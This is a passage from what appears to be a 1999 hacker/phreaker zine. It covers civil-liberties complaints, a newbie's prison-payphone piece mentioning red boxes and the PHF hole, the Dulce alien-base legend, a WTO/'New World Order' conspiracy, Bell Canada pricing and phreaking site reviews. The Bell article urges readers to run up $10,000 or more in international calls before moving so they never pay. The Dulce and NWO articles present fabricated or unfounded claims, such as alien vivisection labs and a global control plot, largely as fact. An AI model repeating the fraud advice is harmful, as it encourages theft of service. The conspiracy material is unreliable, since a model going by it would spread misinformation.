disturbing is that 30 states use them in routine local law +enforcement. That's right. You can be arrested, and a stun belt can forcibly +be attached to your waist in order to "protect the officers." I can see pigs +abusing this power as some officers have brutalized arrested suspects in the +past, countless times. Unfortunately, knowing zombies, I'm sure they'll believe +law enforcement's promise that they'll only be used when a prisoner/suspect/etc. +threatens to escape custody or attempts to assault an officer. Of course, the +use/misuse/abuse of stun belts are up to the individual police officer and/or +prison guard. + +In fact, abuse of the stun belts has already been recorded. In July, 1998 a +Los Angeles municipal court judge ordered a bailiff to shock a bound defendant +with 50,000 volts of electricity because, in his opinion, he was talking too +much. The judge's actions prompted the ACLU of Southern California to call for +an immediate and permanent ban on the use of stun belts by county judges or +other court personnel as a means of punishing or otherwise restraining any +non-violent defendants. However, since these devices are new, there are no laws +governing their use... just the legal system's empty promises. In most +instances, a blind eye is turned towards their use anyway. + + * * * + +Good Ol' Janet Reno is at it again. In early March, 1998 she asked the National +Commission on the Future of DNA Evidence to study the legality of taking DNA +samples from everyone arrested. Current law only allows DNA extraction from +convicted sex offenders and "violent felons." It's just more proof that in the +United States, as well as all over the world, the words "innocent until proven +guilty" are meaningless and powerless. To put this issue into perspective, +approximately 15 million (or more!) people are arrested by U.S. law enforcement +every year. Several million are arrested on felony charges for possession of +a controlled substance, such as marijuana, and jailed. Meanwhile, many high +profile politicians (including Bill Clinton) have publicly admitted to using +the same drug in their past, laughed about it during interviews, and faced no +charges. And they have the audacity to campaign on increasing the length of +jail sentences and have a stance of "getting tough on drugs". Hypocrites. No +one should have to spend 20 years behind bars for possessing marijuana for +their own personal use. It's hypocritical and ridiculous for that to happen, +especially considering the vast majority (well over 50%) of Americans have +used marijuana at one time or another in their lives. + +The commission reported that DNA collection from every person arrested in the +United States is impractical under current archival conditions. The +commission did not address the fact that innocent arrestees would be raped of +their civil liberties and privacy when their DNA is extracted and analysed by +the Government. They didn't even acknowledge the fact that being arrested is +not the same as being convicted of a crime. It is obvious that this kangaroo +commission was offering a readiness report to Reno, and did not address any +important civil right or Constitutional issues behind this terrible scheme. + + * * * + +It may not be well known that since 1997, Image Data, a company in New +Hampshire, has been paid well ($1.5 million) by the U.S. Secret Service to +create a "national identity database" that contains a picture of every adult +American. It is only a matter of time before their goal is acheived, as State +run Department of Motor Vehicles (DMV) changes to digital camera systems. Image +Data is already compiling and digitizing pictures from several States. + +Image Data denies that there are "any legitimate privacy issues at stake" in +a report released in early 1999. "Many other newspapers, television programs, +magazines also did news stories on Image Data LLC and its system [that] in some +cases... focused on the 'Privacy' concerns and presented an inaccurate +presentation," Houvener, CEO of Image Data, wrote. + +Privacy and Civil Rights activists are concerned that there is no way to opt +out of this scheme. A picture must be surrendered to the DMV in order for the +recipient to renew their driver's license. + +Houvener, who claims that he has been a "victim of identity fraud," says his +national photo file will be targeted at "identity criminals" that he estimates +cost businesses billions of dollars a year. Legislators who funded the project +believe the database would be used to stop illegal immigrants and terrorists. +Ah yes, the ol' trade privacy for crime prevention gambit that Big Brother uses +time and time again is still alive and well. + +Image Data's "True ID" technology currently feeds photos into its database in +one of two ways. The company has contracts with State motor vehicle departments +that supply the analog negatives or the digital images on magnetic tape. It +also persuades shoppers (zombies) to scan their IDs into the database by +inserting them into devices at specially equipped stores. And zombies don't +require much encouragement to do something that steals their privacy. + +According to one of Image Data's monthly reports sent to Special Agent Cary +Rosoff of the Secret Service's financial crimes division, company +representatives were negotiating a contract with Missouri officials, too. +"Missouri [is] in the final stages of implementing a digital driver license +system." However, Image Data has run into some difficulties. They have +millions of 35 mm photos, but it takes a lot of time to digitize them. Also, +some States allow renewal by mail on occasion, which prevents people from +getting their faces digitized by Image Data. Time is running out. This +Secret Service initiative will eventually be completed, with your co-operation +of course, unless Big Brother is stopped. + + * * * + +The State of Michigan has plans to make its poorest families into true +second-class American citizens. Michigan plans to require all welfare +recipients to submit to drug tests before they receive their benefits. This +applies to families only because it is impossible for a single person in +Michigan to receive welfare. I can't understand how this action can be allowed +under the U.S. Constitution. It's currently being challenged by the American +Civil Liberties Union. "Forcing parents to choose between providing for their +children and giving up their privacy rights is a giant step backward for public +policy in Michigan," said Kary Moss, Executive Director of the ACLU of Michigan +and an attorney in the case. + +The Fourth Amendment guarantees that no individual in the U.S. can be subjected +to a search by the government unless there is reasonable suspicion that they +have committed a crime. It is evident that Big Brother believes that being a +poor person is a crime. I can tell you that Americans aren't alone in this +threat. Ontario dictator Mike "Harrass" (Harris) promised to initiate a +similar program here. + + * * * + +In Cicero, Illinois, it is currently legal for the police to seize and impound a +motor vehicle if they suspect it is owned by a member of a gang. The cops do +not need a warrant, nor do they have to defend their "suspicions" in any way. +In other words, a pig can take seize a car based solely on a whim, without fear +of punishment from any source. By declaring itself a "gang free" zone, the Town +of Cicero is ignorantly claiming victory. Basically, if a driver cannot prove +"innocence" (which is not possible when dealing with a member of the Thought +Police), his or her car can be immediately seized. Hopefully this boastful town +will not be allowed to send out vigilantes dressed in blue for very much longer. + +Written by Shatazar ú Damage, INC. (C)opyright 1999. + + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + Prison Phone Rights Fading.... +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +by Phractal (The newbie that nobody likes) + +First off, let me introduce myself. I am Phractal. I am a newbie to h/p, and +have only had a very deep interest in h/p for about a year. I own a redbox and +crimson box. That's pretty much all the (lame) phreaking I have done so far. As +for my computer hacking. I'm currently working on two virtual servers which +both are a variant of Unix, and hopefully it shouldn't be too hard because they +both have PHF, and just when I thought that PHF was extinct. + +On to the article: + +According to a study by the U.S. Justice Department on August 12th, 1999, +criminals inside the US's 94 federal prisons are committing crimes by making +drug deals, frauds, etc.. all by picking up payphones. (As to whether they are +telco operated as opposed to blood sucking cocots, we will never know) + +The study found that this problem "appears to be widespread", and found that 117 +"serious" crimes were committed by prisoners' calls via pay phones in "recent" +years. These are all ambiguous terms that the government has released to the +public concerning this matter. The problem "Appears To Be Widespread". They have +no definite count. For all we know, the problem could only be serious in two or +three prisons. Big Brother is only trying to use these "criminal activity" calls +to further take away the few rights prison inmates have. + +The study found 117 "serious" crimes were committed by payphones in "recent" +years. What is to be considered serious, what is to be considered recent? Big +Brother considers even THINKING about redboxing that phone down the street a +"Serious" crime, let alone when someone actually "does" it. And this study +proves that these 117 crimes were committed in "recent" years? What Big Brother +means is that only about 5 or 6 of these crimes could have committed a year for +the past 20 years, or maybe only two or three a year for the past 50 YEARS! Why +would Big Brother use the term recent, if he didn't want to cover up the fact +that this isn't a very serious issue and has only totalled up the amount of +crimes over a long time, and he is just looking to take what little rights we +have left away from us! You could do just as well or better for that matter with +a common crime such as shoplifting. If you add up the number of busts over +shoplifting for the past 20 or even 5 years, you would have a mighty big number. +The same goes for speeding, drinking and drug use. This phone crime that has +supposedly "wide-spread" is just like any of those, but in this case Big Brother +is kicking them when they're down because they are already in prison and most +likely guilty of some other crime, but you never know nowadays, as the +government gets more corrupt and chaotic everyday. + +Personally I have no doubt in my mind that not many (if any) of the criminals +in the federal prisons are using payphones for crimes. + +I'd like to thank the Damage, INC. Newsletter if this ever gets published in +their zine, as RedBoxChiliPepper said "You Guys Are Really Cool, I Swear". Some +of your articles really started to put me on the right track. + +And here is some advice for newbies that are even newer than me: + +READ! Read whatever you can come across about hacking or phreaking. Of course +texts won't make you a hacker overnight, but they point you in the right +direction. Heck, I'm no hacker and I've read tons of texts, and tried to hack +too. But I'm getting there, and I will also give you some texts which I thought +helped me out the most. + +The Ultimate Beginners Guide to Hacking and Phreaking-by LOA ASH +A Beginners Step by Step Guide to becoming a Hacker-by IceKool (edited by kM) +A Novices Guide to Hacking 1989 Edition(old but still good)-by The Mentor +Confidence Remains High Issue 1(one of the best h/p/v texts I've ever read) +Phrack Magazine Issue 47 (Contains a special "Phrack" Version of the +alt.2600 FAQ) +Damage, INC. Newsletter Issue 2 (More info and files for newbies) + +1999 --={[ Phractal ]}=-- + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Dulce's secret alien facility. + +In past issues of the Damage, INC. Newsletter we've delved into the alien +conspiracy. We've looked at secret organizations and examined testimony of a +secret base dedicated to alien craft technology. In this article, the subject +will be the infamous secret, underground base that is believed to be near the +small ranching town of Dulce, New Mexico. This base is considered to be the +focal point of cattle mutilations and human abductions on the North American +continent. + +Dulce, New Mexico is a small town very close to the New Mexico-Colorado border +and is approximately three hours north of Albuquerque. It's near the Jicarilla +Apache Reservation. It is rugged country, especially to the north where the +Archuleta Mesa is divided by the state border. Under the harsh landscape of +the Archuleta Mesa is where the Dulce secret underground facility is believed +to exist. + +Even before witnesses claimed there was a secret alien facility near Dulce, +strange or "occult" cattle mutiliations were reported by Dulce area ranchers. +Dulce residents, as well as residents in the general "Four Corners" area +`disappeared' at a higher rate than other areas of the United States. UFO/Alien +researchers focused their attention on Dulce in the early 1980s after several +abducted people came forward with the tales of being taken to an underground +base. They reported seeing little "gray men" with four clawed fingers and black +slits for eyes. They also saw other human beings in cages, awaiting whatever +the scientists desired of them. Dulce investigators got their first "inside" +witness when Thomas Edwin Castello, a former Dulce Base Security officer escaped +the facility after a human/alien battle known as the "Dulce Wars". In order to +inform you about the Dulce conspiracy in the small space provided in the +Damage, INC. Newsletter, this article will focus on Castello's description of +the base, its occupants, and so on. + +When asked about the origin of the base, Castello said that there was a vast +network of underground tunnels that stretch many thousands of feet into the +earth. In these caverns, alien beings have supposedly lived in such caves for +centuries. Castello stated that "Dulce was started in 1937-38 by the Army +engineers, enlarged over the years, most recent work was completed 1965-66 to +connect tunnels to the Page [Arizona] Base, site of one of the older underground +facilities." As a side note, most of the Native Americans living in that area +are aware of that base, and could tell us about the underground life forms that +frequently are spotted near those communities, even hundreds of years ago +according to the tribe's legends and artwork. + +As a technical security officer, Thomas Castello had access to all seven levels. +When asked if there were hidden levels or caverns below the seventh, he said to +an interviewer, "Your guess is as good as mine... Sure, there was lots of TALK +but that doesn't mean it's there. However, I will tell you I saw elevators that +were "off limits" unless you had an UMBRA or higher security clearance. At that +base, information is supplied to me at a `need to know' basis ONLY!" Different +alien activities occur at Dulce than at Area S-4. The Dulce facility is a vast, +seven-level laboratory complex. Most of the work done in the Dulce labs deals +with the grays and another race named the "Reptoids", that do various types of +human genetic research. Needless to say the soulless aliens don't allow any +moral or ethical codes to "hinder" their work. + +The security at the secret Dulce facility was obviously very tight and +oppressive. After the Second Level, everyone is weighed, in the nude, then +given a uniform to wear. "Visitors" (abductees) are given an 'off white' +uniform. In front of all sensitive areas are scales built under the doorway, +by the door control. The person's card must match with the weight and code or +the door simply won't open. Any discrepancy in weight (any change over three +pounds) will summon Security. No one is allowed to carry anything into or out +of sensitive areas. All supplies are put thru a Security conveyor system. +Castello: "At Dulce there also are still and VCR cameras, eye print, hand print +stations, weight monitors, lasers, ELF and EM equipment, heat sensors and motion +detectors and quite a few other methods. There is no way you could get very far +into the base. If you made it to the second level, you would be spotted within +fifteen feet. More than likely, you would become an inmate and never see the +light of the surface world again. If you were `lucky', you would be +re-programmed and become one of the countless spies for the Ruling Caste." The +security system, like everything else at the Dulce base, is powered by magnetic +power. + +The First Level of the Dulce facility starts 200 feet from the surface. Each +level has a ceiling of seven feet, except levels six and seven, the ceiling +there is 45 and 60 feet. There's approximately 45 feet or more between each +level. The average highway ceiling is twenty five feet. The hub at the base is +3,000 feet wide. Level 1 contains the garage for street maintenance. There are +many underground highways that leave the Dulce base. From all other levels the +roads will climb in a steep spiral to join the upper levels. After a few miles +more those three levels too, join in a huge intersection that rivals any +'cloverleaf' exchange, anywhere. The five main exit roads that leave the base +have no markings anywhere, but after the exchanges, there are mileage markers +in English posted in the walls of the tunnels. The underground highways +occasionally follow the same direction as the Terradrive shuttle. That shuttle +is also known as the Sub-Global System. + +Castello said that Level 2 contains the "garage" for trains, shuttles, +tunnel-boring machines, and disc (UFO) maintenance. Not only are there +underground highways, but the aliens and their human conspirators have created a +huge network of underground shuttle tubes that create what is known by them as +the "Sub-Global System." It has "check points" at each country entry. There +are shuttle tubes that 'shoot' the trains at incredible speeds using a mag-lev +and vacuum method. They travel at a speed that exceeds the speed of sound. +The Sub-Global System connects all of the aliens bases together. For example, +Castello stated that from Dulce, there is a train that can shuttle people to the +Los Alamos Labs. Area 51, and all other secret bases are connected to this vast +network of tunnels that have been bored out of solid earth. Level 3 of the +facility wasn't described fully by Castello. He did state that this level +contains more underground highways that reach towards the surface. + +Starting at Level 4 is where the bizarre and frightening research begins. Level +4 is dedicated to Human-Aura research, as well as all aspects of Dreams, +Hypnosis, Telepathy, etc. They (the aliens) know how to manipulate the +bioplasmic body (of Man). They can lower your heart beat, with Deep Sleep +"delta waves", induce a static shock, then re-program via a Brain-Computer Link. +They can introduce data and programmed reactions into your Mind (Information +impregnation - the "Dream Library".) We are entering an era of the +"Technologicalization of Psychic Powers." + +The development of techniques to enhance man/machine communications, Nano-Tech, +Bio-Tech Micro-Machines, PSI-War, E.D.O.M. (Electronic Dissolution of Memory), +R.H.I.C. (Radio-Hypnotic Intra-Cerebral Control) and various forms of behavior +control (Via Chemical Agents, Ultra-Sonics, Optical and other forms of EM +Radiation). The Physics of "Consciousness" are also studied here. It has +been documented by many researchers that the Grays and Reptoids have and still +practice mind control techniques on humans. When they abduct a human, they +can inject a small implant that enables them to take control of that human via +some kind of beam. Castello also claims that the aliens have facilities to +capture human spies that use astral projection to remotely view their facility. + +The fifth level is dominated and controlled by the Grays and Reptoids because it +contains their living quarters. On this level, more than others, the alien +language of symbols is preeminent. Human workers at Dulce are told to keep +their curiosity in check or else their lives could be in danger. Castello +claims to have formally negotiated with alien subleaders on this level for the +release of human workers. + +Level 6 of the Dulce facility is privately called "Nightmare Hall" by those that +work there, although Castello said that the proper name for this level is +"Vivarium." It holds the Genetic Labs. Reports from workers who have talked to +Dulce researchers have seen bizarre experimentation, as follows: "I have seen +multi-legged 'humans' that look like half-human / half-octopus. Also +Reptilian-humans, and furry creatures that have hands like humans and cries like +a baby, it mimics human words... also huge mixture of Lizard-humans in cages". +There are fish, seals, birds and mice that can barely be considered those +species. There are several cages (and vats) of Winged-humanoids, grotesque +Bat-like creatures...about 3 1/2 to 7 feet tall. On this level, low ranking +Grays do the daily chores, mopping the latex floors, cleaning the cages, +bringing food to the hungry people and other species. It is their job to +formulate the proper mixture for the type one and type two beings that the +Draco Race (the leading alien race at Dulce) has created. + +Of all the levels, Level 7 is the most insidious. This level proves that the +Grays, Reptoids, and Draco races have nothing but malevolent goals where the +human race is concerned. Row after row of thousands of humans and human +mixtures in cold storage. Castello and abductees that were brought to this +level testify that there are vats filled with a sick-smelling liquid that +contained body parts from human men, woman and children. Here too are embryo +storage vats of Humanoids in various stages of development. Castello: "I +frequently encountered humans in cages, usually dazed or drugged, but sometimes +they cried and begged for help. We were told they were hopelessly insane, and +involved in high risk drug tests to cure insanity. We were told to never try to +speak to them at all. At the beginning we believed that story." The Gray aliens +FEED from the vats of mutilated human and bovine bodies. The Gray's digestive +system is non-functional, so they absorb this horrible mixture through their +skin. They then excrete waste through their skin as well. Truly, this terrible +level proves that the Government has sold us out to the aliens for technology. + +There was unrest among the humans, as well as some aliens that were part of the +"working caste." After being observed by this group, Castello was approached +and asked for help to stop the butchering of humans on Level 7, as well as the +rest of the base. In late 1979, there was a confrontation between Castello and +his supporters, which were armed with alien weapons, with a group of men from +DELTA group (armed with conventional automatic weapons) and the 18,000 residing +aliens. Sixty-Six men died as they were badly outmatched. Castello was +fortunate enough to escape the Dulce facility through one of the Level 3 +highway exits. + +However, Castello claims to have taken a huge risk. A few years later, he +secretly reentered the Dulce facility. Using a small camera, he took over 30 +photos of areas within the multi-level complex. He removed a security video +tape from the Control Center which showed various security camera views of +hallways, labs, aliens, and 'U.S. Government' personnel. He also collected +documents to take with him. Then, by shutting off the alarm and camera system +in one of the over 100 exits to the surface, he left the facility with the +photos, video, and documents. These `originals' were hidden after five sets of +copies were made. These were placed in the hands of five individuals, who were +told that if they failed to hear from Castello for three consecutive 6 month +periods -- normally he would visit each of them every six months -- then they +could release the information or do whatever they wanted with it. No one except +Castello and the recipients themselves know who these people are. However, with +rumors of Castello's death or disappearance in Costa Rica in recent years, the +chosen recipients can release the information if they choose to do so. + +It's believed that Castello disappeared from the face of the earth in around +1990 or so. And yet none of the information he gave to his comrades and +entrusted them with has been released thus far, to our knowledge at least. +Granted, Castello makes some very large, outrageous, almost unbelievable claims +but even if some of them are true, no matter how exaggerated they might be, it +would change the way we think of this world, the government and the universe. +If indeed he did acquire the tapes, photographs and information mentioned in +this article, and passed it along to the afformentioned associates/comrades, +then why hasn't this evidence been publicly released to prove his case to the +world? Why haven't they done what they were instructed to do? Have they been +silenced somehow to prevent this knowledge from escaping the grasp of the +Government and aliens? Or did they willingly relinquish the evidence Castello +gave them to the other side? It's also possible that they're still holding and +for some strange reason haven't decided to go public with it yet. I mean, they +could easily use technology to distribute the truth to the masses if they so +desired. And isn't that what this whole story is about, technology? If nothing +else, perhaps this article will make you think twice about technology and the +cost that we've all paid for it. As human beings that's something that we all +must stop and consider from time to time while living in this so-called +'high tech' world, that's driven and controlled by Big Brother and all of his +lesser conspirators. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +The WTO equals the NWO. + +The World Trade Organization (WTO) which held its annual meeting in Seattle, +Washington this year isn't merely an organization that's devoted to promoting +free trade across the borders of the world, without tariffs and other trade +restrictions. It is in fact an agency that works for the New World Order, +hiding under the umbrella of "world trade". The reality is that their umbrella +is stamped with an NWO logo, proudly displayed to members only. They're +partners in crime, namely the crime of trying to control humanity. And that's +the truth that I hope to reveal in this article, so that people may better +understand why there has been such opposition to the WTO in various countries. + +In this past week, through the media's own eyes (another NWO faction in my +opinion), I've watched the demonstrations, marches, sitdown protests, etc. +against the WTO. I've also witnessed the police brutality. The riot squad +used pepper spray, rubber bullets, clubs and tear gas against what I would +personally describe as relatively peaceful protestors, that posed no danger or +threat to the police or the uninvolved citizens of Seattle. I saw students, +still blinded by pepper spray, sitting on the pavement in the streets. I saw +injured people trying to flee the wrath of the police. All of this was done +in the name of the WTO, and trying to ensure that a route was cleared for +conference attendees. Above all else, they wanted to make sure the meetings +wouldn't be delayed, even at the cost of human lives. Now then, that being +said, doesn't it stand to reason that the WTO is viewed by the government and +police as being *very* important? Isn't it logical to think that the government +(in this case, the United States government) chose to do everything in its power +to make sure the WTO meetings went ahead as planned, on schedule? The planning +started taking place a year prior to the date of the meetings. The security +forces used were trained especially for the WTO. Additional manpower was set +aside in case it was needed. Millions of dollars were spent on security. Not +only did they expect "trouble", but they attempted to prepare for it. They knew +ahead of time that there would be opposition. They just underestimated how +large it would be. Plus, they tried desperately to stop any attempts to delay +the start of the meetings in order to show that they were in complete control. +That's another trait of the NWO. The fact is, they weren't. They were +surprised by the amount of people that made the voyage to Seattle in order to +speak their minds, and speak out against the WTO. They simply didn't expect +that many people to feel that strongly about the WTO. In other words, they +assumed that by now we're all zombies and nobody would care enough to speak out +and voice their opinions, publicly. Nobody would risk their lives for a cause. + +So what's so important about global trade? Why would the government care? +Why would anyone care? Well, globalization, more specifically, economic +globalization, is a step towards the New World Order. It's something that +certain governments are working desperately to achieve. If they can agree +to globalize the economy (and thus enslave a great many people, including +children as a cheap source of labour), then they can eventually meet their +goal to control us all through a New World Order. And of course, if that +happens, there won't be any boundaries. There won't be any checks and balances. +There will just be a watchdog named the NWO that rules the world. Globalization +is just one of the steps. It destroys nationalism. It takes jobs from one +country and places them in another. It rapes the poor. It makes the rich +richer. It gives the large corporations higher profits. It breaks down the +barriers and at the same time, breaks apart the unions that've been formed +over the last few decades. That simply means that the workers suffer. Some +lose their jobs while others are exploited. And inevitably, the environment +suffers as well. It's all in the name of capitalism. And it doesn't just +benefit the huge corporations of the world. It also benefits the governments +greatly, which is why they support the WTO so vigorously. + +In addition to all of that, the WTO wants to create a "global culture", which +is just as destructive as a global economy. To explain, just think of how +very different the various cultures of the peoples of the world were previous +to the start of this century. Obviously trade, technology and mass immigration +changes things on a dramatic scale. However, so do organizations like the WTO. +And above all else, so does globalization. It destroys the uniqueness of each +individual culture and masses them together into one ambiguous one, making +them almost indistinguishable. And in the process, making us the same and +taking away our identity. + +The WTO is about control, not free trade. It's about control over labour, +resources and the cheap labour sources in the world. And it's about control +over consumers. However, it's also about control over resources, not just +natural resources, but every resource that a country has to offer, including +their technology, people (thinkers, workers, consumers), products, etc. The +WTO isn't concerned about the environment. They aren't concerned about the +exploitation of children in labour. And what people think of them definitely +isn't a concern of theirs. Nobody governs the WTO. That's the reason they can +be called corrupt without it simply being an unjust insult or label. That's +what makes them an oppressive organization that's accountable to no one. + +In conclusion, if the WTO (and the various representatives from the nations +involved) have nothing to hide, then why do they hold secret, closed door +meetings? Why is the organization run by a group of cowardly bureaucrats? +Why aren't the meetings open to the press and more importantly, the public? +Also, why don't they speak publicly about their objectives and overall agenda? +Afterall, that would prevent the type of publicity and protests that the police +claim, on their behalf, that they wish to avoid. Who is the WTO working for? +Who's working for them? Who else is cooperating with them? What's their +ultimate goal? Will it be achieved? Will anyone stop them? Who can stop them? +How powerful will the WTO get if they're left unopposed? All of these questions +are valid and important. Not only that, it's important for people to think +about them. Secret, faceless organizations like the WTO are Big Brother at its +best, or worst... depending on your perspective. Brave New World? Welcome to +the New World Trade Order, or NWTO for short. It isn't 1984, but it's going to +be Big Brother in 2000. And they're off to the races. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +CORRUPTION AND GREED - {GREED} +Bell Canada's greedy, cash grabbing schemes. + +In issue #4 of the Damage, INC. Newsletter, Shatazar wrote an article which +explained one of Bell Canada's cash grabbing schemes. It dealt with the true +cost of "equipment rentals", namely renting Bell phones. An abiguous charge +that Bell did their best to hide from customers. It clearly demonstrated +that for the price Bell charges monthly for renting a phone, you could purchase +a high quality phone and save a lot of money, instead of making Bell wealthier. +But that's just one of the scams that Bell Canada is infamous for perpetuating +over the decades in which it has operated. By no means is that the only cash +grabbing, money making scheme that they rely on for profit. So, due to their +greed, I felt it was necessary to write an up-to-date article on the topic, and +share my opinions about some of Bell's biggest, greediest, most corrupt schemes. +The consumer needs to be informed so that they can avoid being unnecessarily +ripped off by good ol' Bell Canada. No longer could we stand idly by and watch +the telco monopolize the local service market, and exploit people through scams. + +Bell FirstRate plan: + +Sure, on the surface it looks like it's a good deal. $20/month maximum for +"unlimited" long distance calls to anywhere in Canada! So, how can Bell afford +to provide customers with a long distance calling plan such as this? Before +you start thinking it's impossible, or that they're losing money with FirstRate, +make sure you read the fine print. There are limited hours in which you can +call. If you make a long distance call from Montreal to Vancouver before 6pm, +the charge isn't 10 cents per minute and won't go under the $20/month max +charge. You'll have to fork out big dollars to Bell when the next phone bill +arrives in the mail. A lot of people have been scammed by that stipulation +and fooled into thinking that long distance in Canada is virtually free. Plus, +some people that never used to call ld now spend $20 every month on long +distance. So, in effect, Bell has lured more people into calling ld and paying +something for it. And the $20/month FirstRate plan only applies to residential +customers. I can assure you that they still make plenty of profit from +businesses, calls to the United States and International calls. + +The only customers that aren't being ripped off by FirstRate are the ones that +used to pay more than $20/month for long distance anyway, don't need to make +those calls during certain hours, and now make more ld calls at night to take +advantage of the $20 maximum fee. Even so, no matter how many times you call ld +or how much you use FirstRate each month, Bell doesn't lose any money. So don't +think that you're "ripping off Bell" or "abusing FirstRate". Don't bother to +figure out what your phone bill would've been without it either. Nobody cares +if it "would have been $400 or 4 grand." Just keep in mind that if you run +up the full $20 in ld per month that you're still handing them a total of $240 +per year, in addition to the cost of local service and any other services (such +as SmartTouch) that you pay for monthly. With Bell Canada you always have to +read the rules, restrictions and conditions with a magnifying glass, just to +make sure you aren't getting ripped off. Hell, check out the terms and +conditions of use printed in the phone book sometime. + +SmartTouch services: + +Most people already know that Bell's SmartTouch services are a big ripoff. But +I had to mention them anyway, just in case someone didn't realize they were. +For the people reading this that don't understand why SmartTouch features are +a ripoff, consider this: Services such as Caller-ID have monthly fees, yet +they can easily be defeated. So can Call Blocking/Screening. Plus, many people +pay for features that they never use and don't need. Bell Canada influences +them (mainly through telemarketing calls and advertisements) into ordering +extra features with tricks like limited time offers and "free for a month" +scams. They're laughing in the end because a lot of customers don't ever +bother to cancel them. That earns them an extra few million per year alone. + +Installation/repairs: + +This is one of the biggest Bell Canada scams of all. They can charge $90+ just +for connecting two wires in a phone jack. As soon as they enter your house, +it's classified as being a service call, and even if they do absolutely nothing +you have to pay them for the cost of a full hour's repair work. Could anyone +defend that and argue that it's a fair business practice? + +As for installation charges, they're yet another scam. Installing telephones +wires and connecting a line is a very simple task, which Bell overcharges every +customer for. The same goes for installing multiple wall mounted telephone +jacks. Never have more than one jack installed by Bell. And never pay them +to move a jack. The jacks can be purchased elsewhere, can be installed by +anyone and are relatively inexpensive. Of course, prices will vary depending +on the area you live in, and the stores that sell phone jacks, etc. + +Deposits: + +Bell Canada is infamous for charging customers outrageous deposits before they +can get a phone line installed, or have the ability to make long distance calls +using their home phone line. The usual deposit amount they request ranges +from $200 to upwards of $500, or more. Since most people don't simply cancel +their phone service after a short period of time, like a month or two, Bell +invests the money and makes a tremendous amount of interest on *their* deposits. +If you consider that almost every adult has at least one phone line, just think +about the millions of dollars that Bell has taken, tied up, and used for their +own benefit to profit. If you're planning to move out of Bell Canada's service +area, and want to make the most out of losing your $200 deposit, the best thing +to do is ring up $10,000 or more in international ld calls right before moving. +Then after they've disconnected service, call Bell from a payphone and say +"You can keep my deposit..." and hangup on them. + +Interest/service charges: + +Just like your average bank or credit card company, Bell Canada profits greatly +from service charges and interest on bills that weren't paid in full, on or +before the date they're due. Basically, if the payment you make isn't for the +full amount Bell is requesting, they will charge you interest. And of course, +they set the interest rates, which they can change at any time without prior +notice. If you pay a late charge/interest each month, it adds up fast. + +As for the service charges, I'm not referring to equipment rentals or anything +of the sort. There are actual service charges that appear on each customer's +phone bill, every month. Some of the services that we're forced to pay for +aren't even ones that we need or will ever use. Bell Canada just takes it upon +itself to charge everyone equally for them, including TTY service for the deaf, +etc. Personally, I don't feel that adding service charges to obtain higher +profits from local service is fair. In my opinion, you should only be +responsible for paying for the services that you actually use. + +The newest Bell Canada scam: + +Bell Canada is going to start charging for all calls to 411 Directory +Assistance. A 75 cent service charge will be applied to your phone bill each +time you dial 411, regardless of whether the Bell Operator provides you with +any information. The charge applies even if the number is unlisted. The CRTC +granted Bell Canada permission to change 411's billing. What a shock. They +always give them 'permission' to charge and do whatever the hell they want. +Again, Bell relies on deceiving and brainwashing the ignorant, naive zombies +in order to make profit. Don't fall prey to their scam by dialing 411 from +home and getting billed for a service that *should* be free. Paying for a +service that's given is one thing. Paying for receiving no service(s) +whatsoever is entirely another. Please don't help make Bell richer. I urge you +not to dial 411 from anywhere, except payphones. Dial it from payphones as +often as you want. Misuse it as much as you want, in as many ways as you can +think of. Just don't pay Bell anything for it. Don't let them get away with +charging for 411. + +Yes, dialing 411 from a payphone is still free. Amazingly enough, the CRTC +made a token ruling that Bell cannot charge 75 cents for dialing 411 from +payphones. Of course, that decision could be changed at any time. + +Another way to avoid being billed is to use Bell's own web site (www.bell.ca) or +another internet 411 directory search engine. Even though most people have +probably already heard of this latest Bell money grab, I thought I'd inform our +readers anyway so they wouldn't become a victim of another ripoff telco scam. + +Update: The 75 cent charge for dialing 411 from home is now in effect. + +Hopefully this short article has helped educate a few readers by informing +them about some of Bell's greedy money making schemes. And if you stay alert, +informed and aware of their scams, you won't become their next victim. + +Written by THC Phreak ú Damage, INC. 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It's also +our only Dist. Site located in the UK. + + +DAMAGE, INC. REVIEWS - {REVIEWS} +H/P and Security Web Sites. + +Here are a few reviews of quality h/p sites that might interest you. They're +some of my personal favourites. Check our Links page for these and other +interesting sites. It's continually growing and being updated. + + +Phearios +www.phearios.org + +Phearios is operated by fringe and the rest of the crew from Chitown. It's +been moved from dope.org, so PIMP issues are available at the new phearios.org +site. Some of you might remember fringe from my interview with him. And to +the rest, check out his new site anyway. You'll have to apply for an account, +but it's a quick and easy process. Once you have a login that's been validated +through Email, you'll be all set to enter and explore his site. It's still +new and fringe is still working on things, but it looks very promising. You +can send and receive Email from other users from within Phearios... post +messages in the bases, grab issues of PIMP, etc. Overall, the site has a really +cool setup. It's very unique and I think it will be a place with some good +discussions of various topics, including Big Brother, conspiracies and the like. +Basically, it's not just your typical, average h/p site. + + +9x +www.ninex.com + +9x's site has been moved from dope.org as well. The entire site has a new look +now... but still offers the same variety of 9x releases that people have grown +accustomed to... and expect from Substance and the 9x crew. Check it often for +new releases, that range from carrier scans, hand scans, to texts on anything +and everything that's h/p related. They even have some good UK informational +texts. New texts and scans are released regularly. + + +Phone Punx Network +http://fly.to/ppn + +The Phone Punx Network is an actual network of several sites. They have their +own zine, which is appropriately named Phone Punx Magazine. The site also +carries other Phone Punx files, a H/P zine archive, has News, a Guestbook, +Network Links and links to other hacking/phreaking related sites, etc. Overall, +it's a good phreaking resource. ;) + + +Phone Rangers +www.phonerangers.org + +The Phone Rangers are a phreaking group out of New Jersey that's well known in +their own local scene. Their site offers phreaking related articles they've +written, specific NJ info, a mailing list, links, etc. It has good resources +for U.S. phreaks on the east coast. + + +El_Jefe's Payphone Directory +www.payphone-directory.org + +This is an excellent site for payphone numbers and pictures. It's the domain +of El_Jefe, and it offers payphone numbers from many NPAs... as well 